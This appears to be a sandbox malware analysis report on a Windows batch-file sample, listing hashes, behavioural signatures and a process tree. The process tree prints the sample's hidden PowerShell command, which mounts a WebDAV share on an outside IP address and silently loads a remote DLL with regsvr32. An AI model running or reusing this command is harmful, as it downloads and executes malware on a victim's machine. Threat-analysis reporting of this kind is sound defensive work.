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Analysis
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max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
22/07/2024, 21:26
Static task
static1
Behavioral task
behavioral1
Sample
1684630441224035991.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
1684630441224035991.bat
Resource
win10v2004-20240709-en
General
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Target
1684630441224035991.bat
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Size
20KB
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MD5
bbdf9e3885472a07e8da49719e3fffc3
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SHA1
a8e9e51f395a3c8f55ba1170580fe2c09c93608a
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SHA256
d57c0af69864f37b2a7865f36da51cb0f58acf477e07911f1678a8a5fe5d23d7
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SHA512
26dd9793e325a9fb019b9aa7a4b27bebb218e3cd401210fcbf86e302b447507d66c6d54775fe184369894acc38e99c987df49854627d9e95d0972fa9469f4a8b
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SSDEEP
384:tRUVlhISo/CXmwSsngwO5AmQKbQpKgO9w3Fy0oAykcx4QLuAwdRAFuphgfVdT:tR2h7mC2wS9FA1yQpKgKw3FjoLkgxHw8
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1200 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1200 powershell.exe 1200 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1200 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1080 wordpad.exe 1080 wordpad.exe 1080 wordpad.exe 1080 wordpad.exe 1080 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 5116 wrote to memory of 1080 5116 cmd.exe 85 PID 5116 wrote to memory of 1080 5116 cmd.exe 85 PID 5116 wrote to memory of 1200 5116 cmd.exe 88 PID 5116 wrote to memory of 1200 5116 cmd.exe 88 PID 1200 wrote to memory of 536 1200 powershell.exe 90 PID 1200 wrote to memory of 536 1200 powershell.exe 90 PID 1200 wrote to memory of 4356 1200 powershell.exe 91 PID 1200 wrote to memory of 4356 1200 powershell.exe 91
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1684630441224035991.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5116 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:1080
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2217731768123.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:536
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2217731768123.dll3⤵PID:4356
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:2944
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82